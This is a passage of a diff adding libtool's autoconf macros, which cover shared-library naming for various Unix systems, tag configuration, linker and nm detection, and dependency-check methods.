+
+sysv4 | sysv4.3*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  case $host_vendor in
+    sni)
+      shlibpath_overrides_runpath=no
+      need_lib_prefix=no
+      export_dynamic_flag_spec='${wl}-Blargedynsym'
+      runpath_var=LD_RUN_PATH
+      ;;
+    siemens)
+      need_lib_prefix=no
+      ;;
+    motorola)
+      need_lib_prefix=no
+      need_version=no
+      shlibpath_overrides_runpath=no
+      sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
+      ;;
+  esac
+  ;;
+
+sysv4*MP*)
+  if test -d /usr/nec ;then
+    version_type=linux
+    library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
+    soname_spec='$libname${shared_ext}.$major'
+    shlibpath_var=LD_LIBRARY_PATH
+  fi
+  ;;
+
+sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
+  version_type=freebsd-elf
+  need_lib_prefix=no
+  need_version=no
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  hardcode_into_libs=yes
+  if test "$with_gnu_ld" = yes; then
+    sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
+    shlibpath_overrides_runpath=no
+  else
+    sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
+    shlibpath_overrides_runpath=yes
+    case $host_os in
+      sco3.2v5*)
+        sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
+	;;
+    esac
+  fi
+  sys_lib_dlsearch_path_spec='/usr/lib'
+  ;;
+
+uts4*)
+  version_type=linux
+  library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
+  soname_spec='${libname}${release}${shared_ext}$major'
+  shlibpath_var=LD_LIBRARY_PATH
+  ;;
+
+*)
+  dynamic_linker=no
+  ;;
+esac
+AC_MSG_RESULT([$dynamic_linker])
+test "$dynamic_linker" = no && can_build_shared=no
+
+variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
+if test "$GCC" = yes; then
+  variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
+fi
+])# AC_LIBTOOL_SYS_DYNAMIC_LINKER
+
+
+# _LT_AC_TAGCONFIG
+# ----------------
+AC_DEFUN([_LT_AC_TAGCONFIG],
+[AC_ARG_WITH([tags],
+    [AC_HELP_STRING([--with-tags@<:@=TAGS@:>@],
+        [include additional configurations @<:@automatic@:>@])],
+    [tagnames="$withval"])
+
+if test -f "$ltmain" && test -n "$tagnames"; then
+  if test ! -f "${ofile}"; then
+    AC_MSG_WARN([output file `$ofile' does not exist])
+  fi
+
+  if test -z "$LTCC"; then
+    eval "`$SHELL ${ofile} --config | grep '^LTCC='`"
+    if test -z "$LTCC"; then
+      AC_MSG_WARN([output file `$ofile' does not look like a libtool script])
+    else
+      AC_MSG_WARN([using `LTCC=$LTCC', extracted from `$ofile'])
+    fi
+  fi
+  if test -z "$LTCFLAGS"; then
+    eval "`$SHELL ${ofile} --config | grep '^LTCFLAGS='`"
+  fi
+
+  # Extract list of available tagged configurations in $ofile.
+  # Note that this assumes the entire list is on one line.
+  available_tags=`grep "^available_tags=" "${ofile}" | $SED -e 's/available_tags=\(.*$\)/\1/' -e 's/\"//g'`
+
+  lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+  for tagname in $tagnames; do
+    IFS="$lt_save_ifs"
+    # Check whether tagname contains only valid characters
+    case `$echo "X$tagname" | $Xsed -e 's:[[-_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890,/]]::g'` in
+    "") ;;
+    *)  AC_MSG_ERROR([invalid tag name: $tagname])
+	;;
+    esac
+
+    if grep "^# ### BEGIN LIBTOOL TAG CONFIG: $tagname$" < "${ofile}" > /dev/null
+    then
+      AC_MSG_ERROR([tag name \"$tagname\" already exists])
+    fi
+
+    # Update the list of available tags.
+    if test -n "$tagname"; then
+      echo appending configuration tag \"$tagname\" to $ofile
+
+      case $tagname in
+      CXX)
+	if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
+	    ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
+	    (test "X$CXX" != "Xg++"))) ; then
+	  AC_LIBTOOL_LANG_CXX_CONFIG
+	else
+	  tagname=""
+	fi
+	;;
+
+      F77)
+	if test -n "$F77" && test "X$F77" != "Xno"; then
+	  AC_LIBTOOL_LANG_F77_CONFIG
+	else
+	  tagname=""
+	fi
+	;;
+
+      GCJ)
+	if test -n "$GCJ" && test "X$GCJ" != "Xno"; then
+	  AC_LIBTOOL_LANG_GCJ_CONFIG
+	else
+	  tagname=""
+	fi
+	;;
+
+      RC)
+	AC_LIBTOOL_LANG_RC_CONFIG
+	;;
+
+      *)
+	AC_MSG_ERROR([Unsupported tag name: $tagname])
+	;;
+      esac
+
+      # Append the new tag name to the list of available tags.
+      if test -n "$tagname" ; then
+      available_tags="$available_tags $tagname"
+    fi
+    fi
+  done
+  IFS="$lt_save_ifs"
+
+  # Now substitute the updated list of available tags.
+  if eval "sed -e 's/^available_tags=.*\$/available_tags=\"$available_tags\"/' \"$ofile\" > \"${ofile}T\""; then
+    mv "${ofile}T" "$ofile"
+    chmod +x "$ofile"
+  else
+    rm -f "${ofile}T"
+    AC_MSG_ERROR([unable to update list of available tagged configurations.])
+  fi
+fi
+])# _LT_AC_TAGCONFIG
+
+
+# AC_LIBTOOL_DLOPEN
+# -----------------
+# enable checks for dlopen support
+AC_DEFUN([AC_LIBTOOL_DLOPEN],
+ [AC_BEFORE([$0],[AC_LIBTOOL_SETUP])
+])# AC_LIBTOOL_DLOPEN
+
+
+# AC_LIBTOOL_WIN32_DLL
+# --------------------
+# declare package support for building win32 DLLs
+AC_DEFUN([AC_LIBTOOL_WIN32_DLL],
+[AC_BEFORE([$0], [AC_LIBTOOL_SETUP])
+])# AC_LIBTOOL_WIN32_DLL
+
+
+# AC_ENABLE_SHARED([DEFAULT])
+# ---------------------------
+# implement the --enable-shared flag
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+AC_DEFUN([AC_ENABLE_SHARED],
+[define([AC_ENABLE_SHARED_DEFAULT], ifelse($1, no, no, yes))dnl
+AC_ARG_ENABLE([shared],
+    [AC_HELP_STRING([--enable-shared@<:@=PKGS@:>@],
+	[build shared libraries @<:@default=]AC_ENABLE_SHARED_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_shared=yes ;;
+    no) enable_shared=no ;;
+    *)
+      enable_shared=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_shared=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_shared=]AC_ENABLE_SHARED_DEFAULT)
+])# AC_ENABLE_SHARED
+
+
+# AC_DISABLE_SHARED
+# -----------------
+# set the default shared flag to --disable-shared
+AC_DEFUN([AC_DISABLE_SHARED],
+[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
+AC_ENABLE_SHARED(no)
+])# AC_DISABLE_SHARED
+
+
+# AC_ENABLE_STATIC([DEFAULT])
+# ---------------------------
+# implement the --enable-static flag
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+AC_DEFUN([AC_ENABLE_STATIC],
+[define([AC_ENABLE_STATIC_DEFAULT], ifelse($1, no, no, yes))dnl
+AC_ARG_ENABLE([static],
+    [AC_HELP_STRING([--enable-static@<:@=PKGS@:>@],
+	[build static libraries @<:@default=]AC_ENABLE_STATIC_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_static=yes ;;
+    no) enable_static=no ;;
+    *)
+     enable_static=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_static=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_static=]AC_ENABLE_STATIC_DEFAULT)
+])# AC_ENABLE_STATIC
+
+
+# AC_DISABLE_STATIC
+# -----------------
+# set the default static flag to --disable-static
+AC_DEFUN([AC_DISABLE_STATIC],
+[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
+AC_ENABLE_STATIC(no)
+])# AC_DISABLE_STATIC
+
+
+# AC_ENABLE_FAST_INSTALL([DEFAULT])
+# ---------------------------------
+# implement the --enable-fast-install flag
+# DEFAULT is either `yes' or `no'.  If omitted, it defaults to `yes'.
+AC_DEFUN([AC_ENABLE_FAST_INSTALL],
+[define([AC_ENABLE_FAST_INSTALL_DEFAULT], ifelse($1, no, no, yes))dnl
+AC_ARG_ENABLE([fast-install],
+    [AC_HELP_STRING([--enable-fast-install@<:@=PKGS@:>@],
+    [optimize for fast installation @<:@default=]AC_ENABLE_FAST_INSTALL_DEFAULT[@:>@])],
+    [p=${PACKAGE-default}
+    case $enableval in
+    yes) enable_fast_install=yes ;;
+    no) enable_fast_install=no ;;
+    *)
+      enable_fast_install=no
+      # Look at the argument we got.  We use all the common list separators.
+      lt_save_ifs="$IFS"; IFS="${IFS}$PATH_SEPARATOR,"
+      for pkg in $enableval; do
+	IFS="$lt_save_ifs"
+	if test "X$pkg" = "X$p"; then
+	  enable_fast_install=yes
+	fi
+      done
+      IFS="$lt_save_ifs"
+      ;;
+    esac],
+    [enable_fast_install=]AC_ENABLE_FAST_INSTALL_DEFAULT)
+])# AC_ENABLE_FAST_INSTALL
+
+
+# AC_DISABLE_FAST_INSTALL
+# -----------------------
+# set the default to --disable-fast-install
+AC_DEFUN([AC_DISABLE_FAST_INSTALL],
+[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
+AC_ENABLE_FAST_INSTALL(no)
+])# AC_DISABLE_FAST_INSTALL
+
+
+# AC_LIBTOOL_PICMODE([MODE])
+# --------------------------
+# implement the --with-pic flag
+# MODE is either `yes' or `no'.  If omitted, it defaults to `both'.
+AC_DEFUN([AC_LIBTOOL_PICMODE],
+[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
+pic_mode=ifelse($#,1,$1,default)
+])# AC_LIBTOOL_PICMODE
+
+
+# AC_PROG_EGREP
+# -------------
+# This is predefined starting with Autoconf 2.54, so this conditional
+# definition can be removed once we require Autoconf 2.54 or later.
+m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP],
+[AC_CACHE_CHECK([for egrep], [ac_cv_prog_egrep],
+   [if echo a | (grep -E '(a|b)') >/dev/null 2>&1
+    then ac_cv_prog_egrep='grep -E'
+    else ac_cv_prog_egrep='egrep'
+    fi])
+ EGREP=$ac_cv_prog_egrep
+ AC_SUBST([EGREP])
+])])
+
+
+# AC_PATH_TOOL_PREFIX
+# -------------------
+# find a file program which can recognise shared library
+AC_DEFUN([AC_PATH_TOOL_PREFIX],
+[AC_REQUIRE([AC_PROG_EGREP])dnl
+AC_MSG_CHECKING([for $1])
+AC_CACHE_VAL(lt_cv_path_MAGIC_CMD,
+[case $MAGIC_CMD in
+[[\\/*] |  ?:[\\/]*])
+  lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
+  ;;
+*)
+  lt_save_MAGIC_CMD="$MAGIC_CMD"
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+dnl $ac_dummy forces splitting on constant user-supplied paths.
+dnl POSIX.2 word splitting is done only on the output of word expansions,
+dnl not every word.  This closes a longstanding sh security hole.
+  ac_dummy="ifelse([$2], , $PATH, [$2])"
+  for ac_dir in $ac_dummy; do
+    IFS="$lt_save_ifs"
+    test -z "$ac_dir" && ac_dir=.
+    if test -f $ac_dir/$1; then
+      lt_cv_path_MAGIC_CMD="$ac_dir/$1"
+      if test -n "$file_magic_test_file"; then
+	case $deplibs_check_method in
+	"file_magic "*)
+	  file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
+	  MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
+	  if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
+	    $EGREP "$file_magic_regex" > /dev/null; then
+	    :
+	  else
+	    cat <<EOF 1>&2
+
+*** Warning: the command libtool uses to detect shared libraries,
+*** $file_magic_cmd, produces output that libtool cannot recognize.
+*** The result is that libtool may fail to recognize shared libraries
+*** as such.  This will affect the creation of libtool libraries that
+*** depend on shared libraries, but programs linked with such libtool
+*** libraries will work regardless of this problem.  Nevertheless, you
+*** may want to report the problem to your system manager and/or to
+*** bug-libtool@gnu.org
+
+EOF
+	  fi ;;
+	esac
+      fi
+      break
+    fi
+  done
+  IFS="$lt_save_ifs"
+  MAGIC_CMD="$lt_save_MAGIC_CMD"
+  ;;
+esac])
+MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
+if test -n "$MAGIC_CMD"; then
+  AC_MSG_RESULT($MAGIC_CMD)
+else
+  AC_MSG_RESULT(no)
+fi
+])# AC_PATH_TOOL_PREFIX
+
+
+# AC_PATH_MAGIC
+# -------------
+# find a file program which can recognise a shared library
+AC_DEFUN([AC_PATH_MAGIC],
+[AC_PATH_TOOL_PREFIX(${ac_tool_prefix}file, /usr/bin$PATH_SEPARATOR$PATH)
+if test -z "$lt_cv_path_MAGIC_CMD"; then
+  if test -n "$ac_tool_prefix"; then
+    AC_PATH_TOOL_PREFIX(file, /usr/bin$PATH_SEPARATOR$PATH)
+  else
+    MAGIC_CMD=:
+  fi
+fi
+])# AC_PATH_MAGIC
+
+
+# AC_PROG_LD
+# ----------
+# find the pathname to the GNU or non-GNU linker
+AC_DEFUN([AC_PROG_LD],
+[AC_ARG_WITH([gnu-ld],
+    [AC_HELP_STRING([--with-gnu-ld],
+	[assume the C compiler uses GNU ld @<:@default=no@:>@])],
+    [test "$withval" = no || with_gnu_ld=yes],
+    [with_gnu_ld=no])
+AC_REQUIRE([LT_AC_PROG_SED])dnl
+AC_REQUIRE([AC_PROG_CC])dnl
+AC_REQUIRE([AC_CANONICAL_HOST])dnl
+AC_REQUIRE([AC_CANONICAL_BUILD])dnl
+ac_prog=ld
+if test "$GCC" = yes; then
+  # Check if gcc -print-prog-name=ld gives a path.
+  AC_MSG_CHECKING([for ld used by $CC])
+  case $host in
+  *-*-mingw*)
+    # gcc leaves a trailing carriage return which upsets mingw
+    ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
+  *)
+    ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
+  esac
+  case $ac_prog in
+    # Accept absolute paths.
+    [[\\/]]* | ?:[[\\/]]*)
+      re_direlt='/[[^/]][[^/]]*/\.\./'
+      # Canonicalize the pathname of ld
+      ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'`
+      while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
+	ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"`
+      done
+      test -z "$LD" && LD="$ac_prog"
+      ;;
+  "")
+    # If it fails, then pretend we aren't using GCC.
+    ac_prog=ld
+    ;;
+  *)
+    # If it is relative, then search for the first ld in PATH.
+    with_gnu_ld=unknown
+    ;;
+  esac
+elif test "$with_gnu_ld" = yes; then
+  AC_MSG_CHECKING([for GNU ld])
+else
+  AC_MSG_CHECKING([for non-GNU ld])
+fi
+AC_CACHE_VAL(lt_cv_path_LD,
+[if test -z "$LD"; then
+  lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+  for ac_dir in $PATH; do
+    IFS="$lt_save_ifs"
+    test -z "$ac_dir" && ac_dir=.
+    if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
+      lt_cv_path_LD="$ac_dir/$ac_prog"
+      # Check to see if the program is GNU ld.  I'd rather use --version,
+      # but apparently some variants of GNU ld only accept -v.
+      # Break only if it was the GNU/non-GNU ld that we prefer.
+      case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
+      *GNU* | *'with BFD'*)
+	test "$with_gnu_ld" != no && break
+	;;
+      *)
+	test "$with_gnu_ld" != yes && break
+	;;
+      esac
+    fi
+  done
+  IFS="$lt_save_ifs"
+else
+  lt_cv_path_LD="$LD" # Let the user override the test with a path.
+fi])
+LD="$lt_cv_path_LD"
+if test -n "$LD"; then
+  AC_MSG_RESULT($LD)
+else
+  AC_MSG_RESULT(no)
+fi
+test -z "$LD" && AC_MSG_ERROR([no acceptable ld found in \$PATH])
+AC_PROG_LD_GNU
+])# AC_PROG_LD
+
+
+# AC_PROG_LD_GNU
+# --------------
+AC_DEFUN([AC_PROG_LD_GNU],
+[AC_REQUIRE([AC_PROG_EGREP])dnl
+AC_CACHE_CHECK([if the linker ($LD) is GNU ld], lt_cv_prog_gnu_ld,
+[# I'd rather use --version here, but apparently some GNU lds only accept -v.
+case `$LD -v 2>&1 </dev/null` in
+*GNU* | *'with BFD'*)
+  lt_cv_prog_gnu_ld=yes
+  ;;
+*)
+  lt_cv_prog_gnu_ld=no
+  ;;
+esac])
+with_gnu_ld=$lt_cv_prog_gnu_ld
+])# AC_PROG_LD_GNU
+
+
+# AC_PROG_LD_RELOAD_FLAG
+# ----------------------
+# find reload flag for linker
+#   -- PORTME Some linkers may need a different reload flag.
+AC_DEFUN([AC_PROG_LD_RELOAD_FLAG],
+[AC_CACHE_CHECK([for $LD option to reload object files],
+  lt_cv_ld_reload_flag,
+  [lt_cv_ld_reload_flag='-r'])
+reload_flag=$lt_cv_ld_reload_flag
+case $reload_flag in
+"" | " "*) ;;
+*) reload_flag=" $reload_flag" ;;
+esac
+reload_cmds='$LD$reload_flag -o $output$reload_objs'
+case $host_os in
+  darwin*)
+    if test "$GCC" = yes; then
+      reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+    else
+      reload_cmds='$LD$reload_flag -o $output$reload_objs'
+    fi
+    ;;
+esac
+])# AC_PROG_LD_RELOAD_FLAG
+
+
+# AC_DEPLIBS_CHECK_METHOD
+# -----------------------
+# how to check for library dependencies
+#  -- PORTME fill in with the dynamic library characteristics
+AC_DEFUN([AC_DEPLIBS_CHECK_METHOD],
+[AC_CACHE_CHECK([how to recognise dependent libraries],
+lt_cv_deplibs_check_method,
+[lt_cv_file_magic_cmd='$MAGIC_CMD'
+lt_cv_file_magic_test_file=
+lt_cv_deplibs_check_method='unknown'
+# Need to set the preceding variable on all platforms that support
+# interlibrary dependencies.
+# 'none' -- dependencies not supported.
+# `unknown' -- same as none, but documents that we really don't know.
+# 'pass_all' -- all dependencies passed with no checks.
+# 'test_compile' -- check by making test program.
+# 'file_magic [[regex]]' -- check by looking for files in library path
+# which responds to the $file_magic_cmd with a given extended regex.
+# If you have `file' or equivalent on your system and you're not sure
+# whether `pass_all' will *always* work, you probably want this one.
+
+case $host_os in
+aix4* | aix5*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+beos*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+bsdi[[45]]*)
+  lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib)'
+  lt_cv_file_magic_cmd='/usr/bin/file -L'
+  lt_cv_file_magic_test_file=/shlib/libc.so
+  ;;
+
+cygwin*)
+  # func_win32_libid is a shell function defined in ltmain.sh
+  lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+  lt_cv_file_magic_cmd='func_win32_libid'
+  ;;
+
+mingw* | pw32*)
+  # Base MSYS/MinGW do not provide the 'file' command needed by
+  # func_win32_libid shell function, so use a weaker test based on 'objdump'.
+  lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
+  lt_cv_file_magic_cmd='$OBJDUMP -f'
+  ;;
+
+darwin* | rhapsody*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+freebsd* | dragonfly*)
+  if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
+    case $host_cpu in
+    i*86 )
+      # Not sure whether the presence of OpenBSD here was a mistake.
+      # Let's accept both of them until this is cleared up.
+      lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[[3-9]]86 (compact )?demand paged shared library'
+      lt_cv_file_magic_cmd=/usr/bin/file
+      lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*`
+      ;;
+    esac
+  else
+    lt_cv_deplibs_check_method=pass_all
+  fi
+  ;;
+
+gnu*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+hpux10.20* | hpux11*)
+  lt_cv_file_magic_cmd=/usr/bin/file
+  case $host_cpu in
+  ia64*)
+    lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|ELF-[[0-9]][[0-9]]) shared object file - IA64'
+    lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so
+    ;;
+  hppa*64*)
+    [lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - PA-RISC [0-9].[0-9]']
+    lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl
+    ;;
+  *)
+    lt_cv_deplibs_check_method='file_magic (s[[0-9]][[0-9]][[0-9]]|PA-RISC[[0-9]].[[0-9]]) shared library'
+    lt_cv_file_magic_test_file=/usr/lib/libc.sl
+    ;;
+  esac
+  ;;
+
+interix3*)
+  # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here
+  lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|\.a)$'
+  ;;
+
+irix5* | irix6* | nonstopux*)
+  case $LD in
+  *-32|*"-32 ") libmagic=32-bit;;
+  *-n32|*"-n32 ") libmagic=N32;;
+  *-64|*"-64 ") libmagic=64-bit;;
+  *) libmagic=never-match;;
+  esac
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+# This must be Linux ELF.
+linux* | k*bsd*-gnu)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+netbsd* | netbsdelf*-gnu)
+  if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then
+    lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
+  else
+    lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so|_pic\.a)$'
+  fi
+  ;;
+
+newos6*)
+  lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (executable|dynamic lib)'
+  lt_cv_file_magic_cmd=/usr/bin/file
+  lt_cv_file_magic_test_file=/usr/lib/libnls.so
+  ;;
+
+nto-qnx*)
+  lt_cv_deplibs_check_method=unknown
+  ;;
+
+openbsd*)
+  if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+    lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|\.so|_pic\.a)$'
+  else
+    lt_cv_deplibs_check_method='match_pattern /lib[[^/]]+(\.so\.[[0-9]]+\.[[0-9]]+|_pic\.a)$'
+  fi
+  ;;
+
+osf3* | osf4* | osf5*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+solaris*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+
+sysv4 | sysv4.3*)
+  case $host_vendor in
+  motorola)
+    lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[ML]]SB (shared object|dynamic lib) M[[0-9]][[0-9]]* Version [[0-9]]'
+    lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*`
+    ;;
+  ncr)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  sequent)
+    lt_cv_file_magic_cmd='/bin/file'
+    lt_cv_deplibs_check_method='file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB (shared object|dynamic lib )'
+    ;;
+  sni)
+    lt_cv_file_magic_cmd='/bin/file'
+    lt_cv_deplibs_check_method="file_magic ELF [[0-9]][[0-9]]*-bit [[LM]]SB dynamic lib"
+    lt_cv_file_magic_test_file=/lib/libc.so
+    ;;
+  siemens)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  pc)
+    lt_cv_deplibs_check_method=pass_all
+    ;;
+  esac
+  ;;
+
+sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
+  lt_cv_deplibs_check_method=pass_all
+  ;;
+esac
+])
+file_magic_cmd=$lt_cv_file_magic_cmd
+deplibs_check_method=$lt_cv_deplibs_check_method
+test -z "$deplibs_check_method" && deplibs_check_method=unknown
+])# AC_DEPLIBS_CHECK_METHOD
+
+
+# AC_PROG_NM
+# ----------
+# find the pathname to a BSD-compatible name lister
+AC_DEFUN([AC_PROG_NM],
+[AC_CACHE_CHECK([for BSD-compatible nm], lt_cv_path_NM,
+[if test -n "$NM"; then
+  # Let the user override the test.
+  lt_cv_path_NM="$NM"
+else
+  lt_nm_to_check="${ac_tool_prefix}nm"
+  if test -n "$ac_tool_prefix" && test "$build" = "$host"; then 
+    lt_nm_to_check="$lt_nm_to_check nm"
+  fi
+  for lt_tmp_nm in $lt_nm_to_check; do
+    lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
+    for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
+      IFS="$lt_save_ifs"
+      test -z "$ac_dir" && ac_dir=.
+      tmp_nm="$ac_dir/$lt_tmp_nm"
+      if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then
+	# Check to see if the nm accepts a BSD-compat flag.
+	# Adding the `sed 1q' prevents false positives on HP-UX, which says:
+	#   nm: unknown option "B" ignored
+	# Tru64's nm complains that /dev/null is an invalid object file
+	case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
+	*/dev/null* | *'Invalid file or object type'*)
+	  lt_cv_path_NM="$tmp_nm -B"
+	  break
+	  ;;
+	*)
+	  case `"$tmp_nm" -p /dev/null 2>&1 | sed '1q'` in
+	  */dev/null*)
+	    lt_cv_path_NM="$tmp_nm -p"
+	    break
+	    ;;
+	  *)
+	    lt_cv_path_NM=${lt_cv_path_NM="$tmp_nm"} # keep the first match, but
+	    continue # so that we can try to find one that supports BSD flags
+	    ;;
+	  esac
+	  ;;
+	esac
+      fi
+    done
+    IFS="$lt_save_ifs"
+  done
+  test -z "$lt_cv_path_NM" && lt_cv_path_NM=nm
+fi])
+NM="$lt_cv_path_NM"
+])# AC_PROG_NM
+
+
+# AC_CHECK_LIBM
+# -------------
+# check for math library
+AC_DEFUN([AC_CHECK_LIBM],
+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
+LIBM=
+case $host in
+*-*-beos* | *-*-cygwin* | *-*-pw32* | *-*-darwin*)
+  # These system don't have libm, or don't need it
+  ;;
+*-ncr-sysv4.3*)
+  AC_CHECK_LIB(mw, _mwvalidcheckl, LIBM="-lmw")
+  AC_CHECK_LIB(m, cos, LIBM="$LIBM -lm")
+  ;;
+*)
+  AC_CHECK_LIB(m, cos, LIBM="-lm")
+  ;;
+esac
+])# AC_CHECK_LIBM
+
+
+# AC_LIBLTDL_CONVENIENCE([DIRECTORY])
+# -----------------------------------
+# sets LIBLTDL to the link flags for the libltdl convenience library and
+# LTDLINCL to the include flags for the libltdl header and adds
+# --enable-ltdl-convenience to the configure arguments.  Note that
+# AC_CONFIG_SUBDIRS is not called here.  If DIRECTORY is not provided,
+# it is assumed to be `libltdl'.  LIBLTDL will be prefixed with
+# '${top_builddir}/' and LTDLINCL will be prefixed with '${top_srcdir}/'
+# (note the single quotes!).  If your package is not flat and you're not
+# using automake, define top_builddir and top_srcdir appropriately in
+# the Makefiles.
+AC_DEFUN([AC_LIBLTDL_CONVENIENCE],
+[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
+  case $enable_ltdl_convenience in
+  no) AC_MSG_ERROR([this package needs a convenience libltdl]) ;;
+  "") enable_ltdl_convenience=yes
+      ac_configure_args="$ac_configure_args --enable-ltdl-convenience" ;;
+  esac
+  LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdlc.la
+  LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl'])
+  # For backwards non-gettext consistent compatibility...
+  INCLTDL="$LTDLINCL"
+])# AC_LIBLTDL_CONVENIENCE
+
+
+# AC_LIBLTDL_INSTALLABLE([DIRECTORY])
+# -----------------------------------
+# sets LIBLTDL to the link flags for the libltdl installable library and
+# LTDLINCL to the include flags for the libltdl header and adds
+# --enable-ltdl-install to the configure arguments.  Note that
+# AC_CONFIG_SUBDIRS is not called here.  If DIRECTORY is not provided,
+# and an installed libltdl is not found, it is assumed to be `libltdl'.
+# LIBLTDL will be prefixed with '${top_builddir}/'# and LTDLINCL with
+# '${top_srcdir}/' (note the single quotes!).  If your package is not
+# flat and you're not using automake, define top_builddir and top_srcdir
+# appropriately in the Makefiles.
+# In the future, this macro may have to be called after AC_PROG_LIBTOOL.
+AC_DEFUN([AC_LIBLTDL_INSTALLABLE],
